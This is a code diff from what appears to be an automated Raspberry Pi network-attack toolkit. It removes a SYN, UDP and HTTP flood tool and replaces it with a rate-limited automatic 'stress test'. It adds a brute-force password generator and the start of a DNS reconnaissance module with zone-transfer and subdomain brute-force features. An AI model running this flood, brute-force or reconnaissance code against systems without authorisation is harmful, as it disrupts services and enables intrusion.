logger.info("scapy not available -- SYN probe mode will fall back to TCP connect") + +# -------------------- Action metadata (AST-friendly) -------------------------- b_class = "BerserkerForce" b_module = "berserker_force" -b_enabled = 0 +b_status = "berserker_force" +b_port = None +b_parent = None +b_service = '[]' +b_trigger = "on_port_change" +b_action = "aggressive" +b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}' +b_priority = 15 +b_cooldown = 7200 +b_rate_limit = "2/86400" +b_timeout = 300 +b_max_retries = 1 +b_stealth_level = 1 +b_risk_level = "high" +b_enabled = 1 -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +b_category = "stress" +b_name = "Berserker Force" +b_description = ( + "Service resilience and stress-testing action. Measures baseline response " + "times, applies controlled TCP/SYN/HTTP load, then re-measures to quantify " + "degradation. Rate-limited to 50 req/s max (RPi-safe). No actual DoS -- " + "just measured probing with structured JSON reporting." +) +b_author = "Bjorn Community" +b_version = "2.0.0" +b_icon = "BerserkerForce.png" -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/stress" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "berserker_force_settings.json") -DEFAULT_PORTS = [21, 22, 23, 25, 80, 443, 445, 3306, 3389, 5432] +b_tags = ["stress", "availability", "resilience"] + +b_args = { + "mode": { + "type": "select", + "label": "Probe mode", + "choices": ["tcp", "syn", "http", "mixed"], + "default": "tcp", + "help": "tcp = connect probe, syn = SYN via scapy (needs root), " + "http = urllib GET for web ports, mixed = random pick per probe.", + }, + "duration": { + "type": "slider", + "label": "Stress duration (s)", + "min": 10, + "max": 120, + "step": 5, + "default": 30, + "help": "How long the stress phase runs in seconds.", + }, + "rate": { + "type": "slider", + "label": "Probes per second", + "min": 1, + "max": 50, + "step": 1, + "default": 20, + "help": "Max probes per second (clamped to 50 for RPi safety).", + }, +} + +b_examples = [ + {"mode": "tcp", "duration": 30, "rate": 20}, + {"mode": "mixed", "duration": 60, "rate": 40}, + {"mode": "syn", "duration": 20, "rate": 10}, +] + +b_docs_url = "docs/actions/BerserkerForce.md" + +# -------------------- Constants ----------------------------------------------- +_DATA_DIR = "/home/bjorn/Bjorn/data" +OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "stress") + +_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline +_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout +_HTTP_TIMEOUT_S = 3.0 # urllib timeout +_MAX_RATE = 50 # hard ceiling probes/s (RPi guard) +_WEB_PORTS = {80, 443, 8080, 8443, 8000, 8888, 9443, 3000, 5000} + +# -------------------- Helpers ------------------------------------------------- + +def _tcp_connect_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]: + """Return round-trip TCP connect time in seconds, or None on failure.""" + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout_s) + try: + t0 = time.monotonic() + err = sock.connect_ex((ip, int(port))) + elapsed = time.monotonic() - t0 + return elapsed if err == 0 else None + except Exception: + return None + finally: + try: + sock.close() + except Exception: + pass + + +def _syn_probe_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]: + """Send a SYN via scapy and measure SYN-ACK time. Falls back to TCP connect.""" + if not _HAS_SCAPY: + return _tcp_connect_time(ip, port, timeout_s) + try: + pkt = IP(dst=ip) / TCP(dport=int(port), flags="S", seq=random.randint(0, 0xFFFFFFFF)) + t0 = time.monotonic() + resp = sr1(pkt, timeout=timeout_s, verbose=0) + elapsed = time.monotonic() - t0 + if resp and resp.haslayer(TCP): + flags = resp[TCP].flags + # SYN-ACK (0x12) or RST (0x14) both count as "responded" + if flags in (0x12, 0x14, "SA", "RA"): + # Send RST to be polite + try: + from scapy.all import send as scapy_send # type: ignore + rst = IP(dst=ip) / TCP(dport=int(port), flags="R", seq=resp[TCP].ack) + scapy_send(rst, verbose=0) + except Exception: + pass + return elapsed + return None + except Exception: + return _tcp_connect_time(ip, port, timeout_s) + + +def _http_probe_time(ip: str, port: int, timeout_s: float = _HTTP_TIMEOUT_S) -> Optional[float]: + """Send an HTTP HEAD/GET and measure response time via urllib.""" + scheme = "https" if int(port) in {443, 8443, 9443} else "http" + url = f"{scheme}://{ip}:{port}/" + ctx = None + if scheme == "https": + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + try: + req = Request(url, method="HEAD", headers={"User-Agent": "BjornStress/2.0"}) + t0 = time.monotonic() + resp = urlopen(req, timeout=timeout_s, context=ctx) if ctx else urlopen(req, timeout=timeout_s) + elapsed = time.monotonic() - t0 + resp.close() + return elapsed + except Exception: + # Fallback: even a refused connection or error page counts + try: + req2 = Request(url, method="GET", headers={"User-Agent": "BjornStress/2.0"}) + t0 = time.monotonic() + resp2 = urlopen(req2, timeout=timeout_s, context=ctx) if ctx else urlopen(req2, timeout=timeout_s) + elapsed = time.monotonic() - t0 + resp2.close() + return elapsed + except URLError: + return None + except Exception: + return None + + +def _pick_probe_func(mode: str, port: int): + """Return the probe function appropriate for the requested mode + port.""" + if mode == "tcp": + return _tcp_connect_time + elif mode == "syn": + return _syn_probe_time + elif mode == "http": + if int(port) in _WEB_PORTS: + return _http_probe_time + return _tcp_connect_time # non-web port falls back + elif mode == "mixed": + candidates = [_tcp_connect_time] + if _HAS_SCAPY: + candidates.append(_syn_probe_time) + if int(port) in _WEB_PORTS: + candidates.append(_http_probe_time) + return random.choice(candidates) + return _tcp_connect_time + + +def _safe_mean(values: List[float]) -> float: + return statistics.mean(values) if values else 0.0 + + +def _safe_stdev(values: List[float]) -> float: + return statistics.stdev(values) if len(values) >= 2 else 0.0 + + +def _degradation_pct(baseline_mean: float, post_mean: float) -> float: + """Percentage increase from baseline to post-stress. Positive = slower.""" + if baseline_mean <= 0: + return 0.0 + return round(((post_mean - baseline_mean) / baseline_mean) * 100.0, 2) + + +# -------------------- Main class ---------------------------------------------- class BerserkerForce: - def __init__(self, target, ports=None, mode='mixed', rate=100, output_dir=DEFAULT_OUTPUT_DIR): - self.target = target - self.ports = ports or DEFAULT_PORTS - self.mode = mode - self.rate = rate - self.output_dir = output_dir - - self.active = False - self.lock = threading.Lock() - self.packet_queue = queue.Queue() - - self.stats = defaultdict(int) - self.start_time = None - self.target_resources = {} + """Service resilience tester -- orchestrator-compatible Bjorn action.""" - def monitor_target(self): - """Monitor target's response times and availability.""" - while self.active: - try: - for port in self.ports: - try: - start_time = time.time() - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.settimeout(1) - result = s.connect_ex((self.target, port)) - response_time = time.time() - start_time - - with self.lock: - self.target_resources[port] = { - 'status': 'open' if result == 0 else 'closed', - 'response_time': response_time - } - except: - with self.lock: - self.target_resources[port] = { - 'status': 'error', - 'response_time': None - } - - time.sleep(1) - except Exception as e: - logging.error(f"Error monitoring target: {e}") + def __init__(self, shared_data): + self.shared_data = shared_data - def syn_flood(self): - """Generate SYN flood packets.""" - while self.active: - try: - for port in self.ports: - packet = IP(dst=self.target)/TCP(dport=port, flags="S", - seq=random.randint(0, 65535)) - self.packet_queue.put(('syn', packet)) - with self.lock: - self.stats['syn_packets'] += 1 - - time.sleep(1/self.rate) - except Exception as e: - logging.error(f"Error in SYN flood: {e}") + # ------------------------------------------------------------------ # + # Phase helpers # + # ------------------------------------------------------------------ # - def udp_flood(self): - """Generate UDP flood packets.""" - while self.active: - try: - for port in self.ports: - data = os.urandom(1024) # Random payload - packet = IP(dst=self.target)/UDP(dport=port)/Raw(load=data) - self.packet_queue.put(('udp', packet)) - with self.lock: - self.stats['udp_packets'] += 1 - - time.sleep(1/self.rate) - except Exception as e: - logging.error(f"Error in UDP flood: {e}") + def _resolve_ports(self, ip: str, port, row: Dict) -> List[int]: + """Gather target ports from the port argument, row data, or DB hosts table.""" + ports: List[int] = [] - def http_flood(self): - """Generate HTTP flood requests.""" - while self.active: - try: - for port in [80, 443]: - if port in self.ports: - protocol = 'https' if port == 443 else 'http' - url = f"{protocol}://{self.target}" - - # Randomize request type - request_type = random.choice(['get', 'post', 'head']) - - try: - if request_type == 'get': - requests.get(url, timeout=1) - elif request_type == 'post': - requests.post(url, data=os.urandom(1024), timeout=1) - else: - requests.head(url, timeout=1) - - with self.lock: - self.stats['http_requests'] += 1 - - except: - with self.lock: - self.stats['http_errors'] += 1 - - time.sleep(1/self.rate) - except Exception as e: - logging.error(f"Error in HTTP flood: {e}") - - def packet_sender(self): - """Send packets from the queue.""" - while self.active: - try: - if not self.packet_queue.empty(): - packet_type, packet = self.packet_queue.get() - send(packet, verbose=False) - - with self.lock: - self.stats['packets_sent'] += 1 - - else: - time.sleep(0.1) - - except Exception as e: - logging.error(f"Error sending packet: {e}") - - def calculate_statistics(self): - """Calculate and update testing statistics.""" - duration = time.time() - self.start_time - - stats = { - 'duration': duration, - 'packets_per_second': self.stats['packets_sent'] / duration, - 'total_packets': self.stats['packets_sent'], - 'syn_packets': self.stats['syn_packets'], - 'udp_packets': self.stats['udp_packets'], - 'http_requests': self.stats['http_requests'], - 'http_errors': self.stats['http_errors'], - 'target_resources': self.target_resources - } - - return stats - - def save_results(self): - """Save test results and statistics.""" + # 1) Explicit port argument try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - results = { - 'timestamp': datetime.now().isoformat(), - 'configuration': { - 'target': self.target, - 'ports': self.ports, - 'mode': self.mode, - 'rate': self.rate + p = int(port) if str(port).strip() else None + if p: + ports.append(p) + except Exception: + pass + + # 2) Row data (Ports column, semicolon-separated) + if not ports: + ports_txt = str(row.get("Ports") or row.get("ports") or "") + for tok in ports_txt.replace(",", ";").split(";"): + tok = tok.strip().split("/")[0] # handle "80/tcp" + if tok.isdigit(): + ports.append(int(tok)) + + # 3) DB lookup via MAC + if not ports: + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + if mac: + try: + rows = self.shared_data.db.query( + "SELECT ports FROM hosts WHERE mac_address=? LIMIT 1", (mac,) + ) + if rows and rows[0].get("ports"): + for tok in rows[0]["ports"].replace(",", ";").split(";"): + tok = tok.strip().split("/")[0] + if tok.isdigit(): + ports.append(int(tok)) + except Exception as exc: + logger.debug(f"DB port lookup failed: {exc}") + + # De-duplicate, cap at 20 ports (Pi Zero guard) + seen = set() + unique: List[int] = [] + for p in ports: + if p not in seen: + seen.add(p) + unique.append(p) + return unique[:20] + + def _measure_baseline(self, ip: str, ports: List[int], samples: int = _BASELINE_SAMPLES) -> Dict[int, List[float]]: + """Phase 1 / 3: TCP connect baseline measurement (always TCP for consistency).""" + baselines: Dict[int, List[float]] = {} + for p in ports: + times: List[float] = [] + for _ in range(samples): + if self.shared_data.orchestrator_should_exit: + break + rt = _tcp_connect_time(ip, p) + if rt is not None: + times.append(rt) + time.sleep(0.05) # gentle spacing + baselines[p] = times + return baselines + + def _run_stress( + self, + ip: str, + ports: List[int], + mode: str, + duration_s: int, + rate: int, + progress: ProgressTracker, + stress_progress_start: int, + stress_progress_span: int, + ) -> Dict[int, Dict[str, Any]]: + """Phase 2: Controlled stress test with rate limiting.""" + rate = max(1, min(rate, _MAX_RATE)) + interval = 1.0 / rate + deadline = time.monotonic() + duration_s + + # Per-port accumulators + results: Dict[int, Dict[str, Any]] = {} + for p in ports: + results[p] = {"sent": 0, "success": 0, "fail": 0, "times": []} + + total_probes_est = rate * duration_s + probes_done = 0 + port_idx = 0 + + while time.monotonic() < deadline: + if self.shared_data.orchestrator_should_exit: + break + + p = ports[port_idx % len(ports)] + port_idx += 1 + + probe_fn = _pick_probe_func(mode, p) + rt = probe_fn(ip, p) + results[p]["sent"] += 1 + if rt is not None: + results[p]["success"] += 1 + results[p]["times"].append(rt) + else: + results[p]["fail"] += 1 + + probes_done += 1 + + # Update progress (map probes_done onto the stress progress range) + if total_probes_est > 0: + frac = min(1.0, probes_done / total_probes_est) + pct = stress_progress_start + int(frac * stress_progress_span) + self.shared_data.bjorn_progress = f"{min(pct, stress_progress_start + stress_progress_span)}%" + + # Rate limit + time.sleep(interval) + + return results + + def _analyze( + self, + pre_baseline: Dict[int, List[float]], + post_baseline: Dict[int, List[float]], + stress_results: Dict[int, Dict[str, Any]], + ports: List[int], + ) -> Dict[str, Any]: + """Phase 4: Build the analysis report dict.""" + per_port: List[Dict[str, Any]] = [] + for p in ports: + pre = pre_baseline.get(p, []) + post = post_baseline.get(p, []) + sr = stress_results.get(p, {"sent": 0, "success": 0, "fail": 0, "times": []}) + + pre_mean = _safe_mean(pre) + post_mean = _safe_mean(post) + degradation = _degradation_pct(pre_mean, post_mean) + + per_port.append({ + "port": p, + "pre_baseline": { + "samples": len(pre), + "mean_s": round(pre_mean, 6), + "stdev_s": round(_safe_stdev(pre), 6), + "values_s": [round(v, 6) for v in pre], }, - 'statistics': self.calculate_statistics() - } - - output_file = os.path.join(self.output_dir, f"stress_test_{timestamp}.json") - with open(output_file, 'w') as f: - json.dump(results, f, indent=4) - - logging.info(f"Results saved to {output_file}") - - except Exception as e: - logging.error(f"Failed to save results: {e}") + "stress": { + "probes_sent": sr["sent"], + "probes_ok": sr["success"], + "probes_fail": sr["fail"], + "mean_rt_s": round(_safe_mean(sr["times"]), 6), + "stdev_rt_s": round(_safe_stdev(sr["times"]), 6), + "min_rt_s": round(min(sr["times"]), 6) if sr["times"] else None, + "max_rt_s": round(max(sr["times"]), 6) if sr["times"] else None, + }, + "post_baseline": { + "samples": len(post), + "mean_s": round(post_mean, 6), + "stdev_s": round(_safe_stdev(post), 6), + "values_s": [round(v, 6) for v in post], + }, + "degradation_pct": degradation, + }) - def start(self): - """Start stress testing.""" - self.active = True - self.start_time = time.time() - - threads = [] - - # Start monitoring thread - monitor_thread = threading.Thread(target=self.monitor_target) - monitor_thread.start() - threads.append(monitor_thread) - - # Start sender thread - sender_thread = threading.Thread(target=self.packet_sender) - sender_thread.start() - threads.append(sender_thread) - - # Start attack threads based on mode - if self.mode in ['syn', 'mixed']: - syn_thread = threading.Thread(target=self.syn_flood) - syn_thread.start() - threads.append(syn_thread) - - if self.mode in ['udp', 'mixed']: - udp_thread = threading.Thread(target=self.udp_flood) - udp_thread.start() - threads.append(udp_thread) - - if self.mode in ['http', 'mixed']: - http_thread = threading.Thread(target=self.http_flood) - http_thread.start() - threads.append(http_thread) - - return threads + # Overall summary + total_sent = sum(sr.get("sent", 0) for sr in stress_results.values()) + total_ok = sum(sr.get("success", 0) for sr in stress_results.values()) + total_fail = sum(sr.get("fail", 0) for sr in stress_results.values()) + avg_degradation = ( + round(statistics.mean([pp["degradation_pct"] for pp in per_port]), 2) + if per_port else 0.0 + ) - def stop(self): - """Stop stress testing.""" - self.active = False - self.save_results() - -def save_settings(target, ports, mode, rate, output_dir): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "target": target, - "ports": ports, - "mode": mode, - "rate": rate, - "output_dir": output_dir + return { + "summary": { + "ports_tested": len(ports), + "total_probes_sent": total_sent, + "total_probes_ok": total_ok, + "total_probes_fail": total_fail, + "avg_degradation_pct": avg_degradation, + }, + "per_port": per_port, } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): + def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str: + """Write the JSON report and return the file path.""" try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} + os.makedirs(OUTPUT_DIR, exist_ok=True) + except Exception as exc: + logger.warning(f"Could not create output dir {OUTPUT_DIR}: {exc}") -def main(): - parser = argparse.ArgumentParser(description="Resource exhaustion testing tool") - parser.add_argument("-t", "--target", help="Target IP or hostname") - parser.add_argument("-p", "--ports", help="Ports to test (comma-separated)") - parser.add_argument("-m", "--mode", choices=['syn', 'udp', 'http', 'mixed'], - default='mixed', help="Test mode") - parser.add_argument("-r", "--rate", type=int, default=100, help="Packets per second") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") + ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S") + safe_ip = ip.replace(":", "_").replace(".", "_") + filename = f"{safe_ip}_{ts}.json" + filepath = os.path.join(OUTPUT_DIR, filename) + + report = { + "tool": "berserker_force", + "version": b_version, + "timestamp": datetime.now(timezone.utc).isoformat().replace("+00:00", "Z"), + "target": ip, + "config": { + "mode": mode, + "duration_s": duration_s, + "rate_per_s": rate, + "scapy_available": _HAS_SCAPY, + }, + "analysis": analysis, + } + + try: + with open(filepath, "w") as fh: + json.dump(report, fh, indent=2, default=str) + logger.info(f"Report saved to {filepath}") + except Exception as exc: + logger.error(f"Failed to write report {filepath}: {exc}") + + return filepath + + # ------------------------------------------------------------------ # + # Orchestrator entry point # + # ------------------------------------------------------------------ # + + def execute(self, ip: str, port, row: Dict, status_key: str) -> str: + """ + Main entry point called by the Bjorn orchestrator. + + Returns 'success', 'failed', or 'interrupted'. + """ + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # --- Identity cache from row ----------------------------------------- + mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip() + hostname = (row.get("Hostname") or row.get("hostname") or "").strip() + if ";" in hostname: + hostname = hostname.split(";", 1)[0].strip() + + # --- Resolve target ports -------------------------------------------- + ports = self._resolve_ports(ip, port, row) + if not ports: + logger.warning(f"BerserkerForce: no ports resolved for {ip}") + return "failed" + + # --- Read runtime config from shared_data ---------------------------- + mode = str(getattr(self.shared_data, "berserker_mode", "tcp") or "tcp").lower() + if mode not in ("tcp", "syn", "http", "mixed"): + mode = "tcp" + duration_s = max(10, min(int(getattr(self.shared_data, "berserker_duration", 30) or 30), 120)) + rate = max(1, min(int(getattr(self.shared_data, "berserker_rate", 20) or 20), _MAX_RATE)) + + # --- EPD / UI updates ------------------------------------------------ + self.shared_data.bjorn_orch_status = "berserker_force" + self.shared_data.bjorn_status_text2 = f"{ip} ({len(ports)} ports)" + self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports)), "mode": mode} + + # Total units for progress: baseline(15) + stress(70) + post-baseline(10) + analysis(5) + self.shared_data.bjorn_progress = "0%" + + try: + # ============================================================== # + # Phase 1: Pre-stress baseline (0 - 15%) # + # ============================================================== # + logger.info(f"Phase 1/4: pre-stress baseline for {ip} on {len(ports)} ports") + self.shared_data.comment_params = {"ip": ip, "phase": "baseline"} + self.shared_data.log_milestone(b_class, "BaselineStart", f"Measuring {len(ports)} ports") + + pre_baseline = self._measure_baseline(ip, ports) + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.bjorn_progress = "15%" + + # ============================================================== # + # Phase 2: Stress test (15 - 85%) # + # ============================================================== # + logger.info(f"Phase 2/4: stress test ({mode}, {duration_s}s, {rate} req/s)") + self.shared_data.comment_params = { + "ip": ip, + "phase": "stress", + "mode": mode, + "rate": str(rate), + } + self.shared_data.log_milestone(b_class, "StressActive", f"Mode: {mode} | Duration: {duration_s}s") + + # Build a dummy ProgressTracker just for internal bookkeeping; + # we do fine-grained progress updates ourselves. + progress = ProgressTracker(self.shared_data, 100) + + stress_results = self._run_stress( + ip=ip, + ports=ports, + mode=mode, + duration_s=duration_s, + rate=rate, + progress=progress, + stress_progress_start=15, + stress_progress_span=70, + ) + + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.bjorn_progress = "85%" + + # ============================================================== # + # Phase 3: Post-stress baseline (85 - 95%) # + # ============================================================== # + logger.info(f"Phase 3/4: post-stress baseline for {ip}") + self.shared_data.comment_params = {"ip": ip, "phase": "post-baseline"} + self.shared_data.log_milestone(b_class, "RecoveryMeasure", f"Checking {ip} after stress") + + post_baseline = self._measure_baseline(ip, ports) + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.bjorn_progress = "95%" + + # ============================================================== # + # Phase 4: Analysis & report (95 - 100%) # + # ============================================================== # + logger.info("Phase 4/4: analyzing results") + self.shared_data.comment_params = {"ip": ip, "phase": "analysis"} + + analysis = self._analyze(pre_baseline, post_baseline, stress_results, ports) + report_path = self._save_report(ip, mode, duration_s, rate, analysis) + + self.shared_data.bjorn_progress = "100%" + + # Final UI update + avg_deg = analysis.get("summary", {}).get("avg_degradation_pct", 0.0) + self.shared_data.log_milestone(b_class, "Complete", f"Avg Degradation: {avg_deg}% | Report: {os.path.basename(report_path)}") + return "success" + + except Exception as exc: + logger.error(f"BerserkerForce failed for {ip}: {exc}", exc_info=True) + return "failed" + + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" + + +# -------------------- Optional CLI (debug / manual) --------------------------- +if __name__ == "__main__": + import argparse + from shared import SharedData + + parser = argparse.ArgumentParser(description="BerserkerForce (service resilience tester)") + parser.add_argument("--ip", required=True, help="Target IP address") + parser.add_argument("--port", default="", help="Specific port (optional; uses row/DB otherwise)") + parser.add_argument("--mode", default="tcp", choices=["tcp", "syn", "http", "mixed"]) + parser.add_argument("--duration", type=int, default=30, help="Stress duration in seconds") + parser.add_argument("--rate", type=int, default=20, help="Probes per second (max 50)") args = parser.parse_args() - settings = load_settings() - target = args.target or settings.get("target") - ports = [int(p) for p in args.ports.split(',')] if args.ports else settings.get("ports", DEFAULT_PORTS) - mode = args.mode or settings.get("mode") - rate = args.rate or settings.get("rate") - output_dir = args.output or settings.get("output_dir") + sd = SharedData() + # Push CLI args into shared_data so the action reads them + sd.berserker_mode = args.mode + sd.berserker_duration = args.duration + sd.berserker_rate = args.rate - if not target: - logging.error("Target is required. Use -t or save it in settings") - return + act = BerserkerForce(sd) - save_settings(target, ports, mode, rate, output_dir) + row = { + "MAC Address": getattr(sd, "get_raspberry_mac", lambda: "__GLOBAL__")() or "__GLOBAL__", + "Hostname": "", + "Ports": args.port, + } - berserker = BerserkerForce( - target=target, - ports=ports, - mode=mode, - rate=rate, - output_dir=output_dir - ) - - try: - threads = berserker.start() - logging.info(f"Stress testing started against {target}") - - while True: - time.sleep(1) - - except KeyboardInterrupt: - logging.info("Stopping stress test...") - berserker.stop() - for thread in threads: - thread.join() - -if __name__ == "__main__": - main() \ No newline at end of file + result = act.execute(args.ip, args.port, row, "berserker_force") + print(f"Result: {result}") diff --git a/actions/bruteforce_common.py b/actions/bruteforce_common.py new file mode 100644 index 0000000..c9fc7b1 --- /dev/null +++ b/actions/bruteforce_common.py @@ -0,0 +1,114 @@ +import itertools +import threading +import time +from typing import Iterable, List, Sequence + + +def _unique_keep_order(items: Iterable[str]) -> List[str]: + seen = set() + out: List[str] = [] + for raw in items: + s = str(raw or "") + if s in seen: + continue + seen.add(s) + out.append(s) + return out + + +def build_exhaustive_passwords(shared_data, existing_passwords: Sequence[str]) -> List[str]: + """ + Build optional exhaustive password candidates from runtime config. + Returns a bounded list (max_candidates) to stay Pi Zero friendly. + """ + if not bool(getattr(shared_data, "bruteforce_exhaustive_enabled", False)): + return [] + + min_len = int(getattr(shared_data, "bruteforce_exhaustive_min_length", 1)) + max_len = int(getattr(shared_data, "bruteforce_exhaustive_max_length", 4)) + max_candidates = int(getattr(shared_data, "bruteforce_exhaustive_max_candidates", 2000)) + require_mix = bool(getattr(shared_data, "bruteforce_exhaustive_require_mix", False)) + + min_len = max(1, min_len) + max_len = max(min_len, min(max_len, 8)) + max_candidates = max(0, min(max_candidates, 200000)) + if max_candidates == 0: + return [] + + use_lower = bool(getattr(shared_data, "bruteforce_exhaustive_lowercase", True)) + use_upper = bool(getattr(shared_data, "bruteforce_exhaustive_uppercase", True)) + use_digits = bool(getattr(shared_data, "bruteforce_exhaustive_digits", True)) + use_symbols = bool(getattr(shared_data, "bruteforce_exhaustive_symbols", False)) + symbols = str(getattr(shared_data, "bruteforce_exhaustive_symbols_chars", "!@#$%^&*")) + + groups: List[str] = [] + if use_lower: + groups.append("abcdefghijklmnopqrstuvwxyz") + if use_upper: + groups.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ") + if use_digits: + groups.append("0123456789") + if use_symbols and symbols: + groups.append(symbols) + + if not groups: + return [] + + charset = "".join(groups) + existing = set(str(x) for x in (existing_passwords or [])) + generated: List[str] = [] + + for ln in range(min_len, max_len + 1): + for tup in itertools.product(charset, repeat=ln): + pwd = "".join(tup) + if pwd in existing: + continue + if require_mix and len(groups) > 1: + if not all(any(ch in grp for ch in pwd) for grp in groups): + continue + generated.append(pwd) + if len(generated) >= max_candidates: + return generated + return generated + + +class ProgressTracker: + """ + Thread-safe progress helper for bruteforce actions. + """ + + def __init__(self, shared_data, total_attempts: int): + self.shared_data = shared_data + self.total = max(1, int(total_attempts)) + self.attempted = 0 + self._lock = threading.Lock() + self._last_emit = 0.0 + self.shared_data.bjorn_progress = "0%" + + def advance(self, step: int = 1): + now = time.time() + with self._lock: + self.attempted += max(1, int(step)) + attempted = self.attempted + total = self.total + if now - self._last_emit < 0.2 and attempted < total: + return + self._last_emit = now + pct = min(100, int((attempted * 100) / total)) + self.shared_data.bjorn_progress = f"{pct}%" + + def set_complete(self): + self.shared_data.bjorn_progress = "100%" + + def clear(self): + self.shared_data.bjorn_progress = "" + + +def merged_password_plan(shared_data, dictionary_passwords: Sequence[str]) -> tuple[list[str], list[str]]: + """ + Returns (dictionary_passwords, fallback_passwords) with uniqueness preserved. + Fallback list is empty unless exhaustive mode is enabled. + """ + dictionary = _unique_keep_order(dictionary_passwords or []) + fallback = build_exhaustive_passwords(shared_data, dictionary) + return dictionary, _unique_keep_order(fallback) diff --git a/actions/dns_pillager.py b/actions/dns_pillager.py index 3f67adb..502f38f 100644 --- a/actions/dns_pillager.py +++ b/actions/dns_pillager.py @@ -1,175 +1,837 @@ -# DNS Pillager for reconnaissance and enumeration of DNS infrastructure. -# Saves settings in `/home/bjorn/.settings_bjorn/dns_pillager_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -d, --domain Target domain for enumeration (overrides saved value). -# -w, --wordlist Path to subdomain wordlist (default: built-in list). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/dns). -# -t, --threads Number of threads for scanning (default: 10). -# -r, --recursive Enable recursive enumeration of discovered subdomains. +""" +dns_pillager.py - DNS reconnaissance and enumeration action for Bjorn. + +Performs comprehensive DNS intelligence gathering on discovered hosts: +- Reverse DNS lookup on target IP +- Full DNS record enumeration (A, AAAA, MX, NS, TXT, CNAME, SOA, SRV, PTR) +- Zone transfer (AXFR) attempts against discovered nameservers +- Subdomain brute-force enumeration with threading + +SQL mode: +- Targets provided by the orchestrator (ip + port) +- IP -> (MAC, hostname) mapping read from DB 'hosts' +- Discovered hostnames are written back to DB hosts table +- Results saved as JSON in data/output/dns/ +- Action status recorded in DB.action_results (via DNSPillager.execute) +""" import os import json -import dns.resolver -import threading -import argparse -from concurrent.futures import ThreadPoolExecutor -from datetime import datetime +import socket import logging +import threading +import time +import datetime +from typing import Dict, List, Optional, Tuple, Set +from concurrent.futures import ThreadPoolExecutor, as_completed -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +from shared import SharedData +from logger import Logger +# Configure the logger +logger = Logger(name="dns_pillager.py", level=logging.DEBUG) -b_class = "DNSPillager" -b_module = "dns_pillager" -b_enabled = 0 +# --------------------------------------------------------------------------- +# Graceful import for dnspython (socket fallback if unavailable) +# --------------------------------------------------------------------------- +_HAS_DNSPYTHON = False +try: + import dns.resolver + import dns.zone + import dns.query + import dns.reversename + import dns.rdatatype + import dns.exception + _HAS_DNSPYTHON = True + logger.info("dnspython library loaded successfully.") +except ImportError: + logger.warning( + "dnspython not installed. DNS operations will use socket fallback " + "(limited functionality). Install with: pip install dnspython" + ) + +# --------------------------------------------------------------------------- +# Action metadata (AST-friendly, consumed by sync_actions / orchestrator) +# --------------------------------------------------------------------------- +b_class = "DNSPillager" +b_module = "dns_pillager" +b_status = "dns_pillager" +b_port = 53 +b_service = '["dns"]' +b_trigger = 'on_any:["on_host_alive","on_new_port:53"]' +b_parent = None +b_action = "normal" +b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}' +b_priority = 20 +b_cooldown = 7200 +b_rate_limit = "5/86400" +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 7 +b_risk_level = "low" +b_enabled = 1 +b_tags = ["dns", "recon", "enumeration"] + +b_category = "recon" +b_name = "DNS Pillager" +b_description = ( + "Comprehensive DNS reconnaissance and enumeration action. " + "Performs reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), " + "zone transfer attempts, and subdomain brute-force discovery. " + "Requires: dnspython (pip install dnspython) for full functionality; " + "falls back to socket-based lookups if unavailable." +) +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "DNSPillager.png" + +b_args = { + "threads": { + "type": "number", + "label": "Subdomain Threads", + "min": 1, + "max": 50, + "step": 1, + "default": 10, + "help": "Number of threads for subdomain brute-force enumeration." + }, + "wordlist": { + "type": "text", + "label": "Subdomain Wordlist", + "default": "", + "placeholder": "/path/to/wordlist.txt", + "help": "Path to a custom subdomain wordlist file. Leave empty for built-in list (~100 entries)." + }, + "timeout": { + "type": "number", + "label": "DNS Query Timeout (s)", + "min": 1, + "max": 30, + "step": 1, + "default": 3, + "help": "Timeout in seconds for individual DNS queries." + }, + "enable_axfr": { + "type": "checkbox", + "label": "Attempt Zone Transfer (AXFR)", + "default": True, + "help": "Try AXFR zone 